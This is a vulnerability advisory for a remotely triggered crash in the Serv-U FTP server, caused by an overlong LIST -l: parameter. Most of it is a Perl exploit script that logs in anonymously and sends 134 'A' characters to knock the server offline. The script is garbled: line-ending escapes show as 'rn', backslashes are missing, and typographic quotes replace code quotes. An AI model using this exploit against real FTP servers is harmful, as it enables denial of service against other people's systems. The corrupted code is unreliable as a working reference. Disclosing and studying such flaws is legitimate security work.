‘Serv-U LIST -l Parameter Buffer Overflow’
Summary
‘Serv-U is a ‘powerful, easy-to-use, award-winning FTP server’ created by Rob Beckers. A vulnerability in the product allows a remote user to cause the server to fail by sending a malformed LIST command to the server.’
Credit:
‘SecurITeam would like to thank STORM for finding this vulnerability. ‘
Details
‘Vulnerable Systems:
* Serv-U version 5.0.0.4 and prior
Immune Systems:
* Serv-U 5.0.0.6 and newer
A user issuing a long parameter (around 134 bytes) as a value for a LIST command (using the -l: parameter for that LIST command), can cause the server to try and read a value that is outside the memory location of the Serv-U’s memory, this will cause an exception to be triggered (an unhandled exception), which in turn causes the program to crash.
Exploit:
#!/usr/bin/perl
use IO::Socket;
$host = ‘192.168.1.243’;
$remote = IO::Socket::INET->new ( Proto => ‘tcp’,
PeerAddr => $host,
PeerPort => ‘2116’,
);
unless ($remote) { die ‘cannot connect to ftp daemon on $host’ }
print ‘connectedn’;
while (<$remote>)
{
print $_;
if (/220 /)
{
last;
}
}
$remote->autoflush(1);
my $ftp = ‘USER anonymousrn’;
print $remote $ftp;
print $ftp;
sleep(1);
while (<$remote>)
{
print $_;
if (/331 /)
{
last;
}
}
$ftp = join(”, ‘PASS ‘, ‘a@b.com’, ‘rn’);
print $remote $ftp;
print $ftp;
sleep(1);
while (<$remote>)
{
print $_;
if (/230 /)
{
last;
}
}
my $ftp = join (”, ‘LIST -l:’, ‘A’x(134), ‘rn’);
print $remote $ftp;
print $ftp;
sleep(1);
while (<$remote>)
{
print $_;
if (/250 Done/)
{
last;
}
}
close $remote;’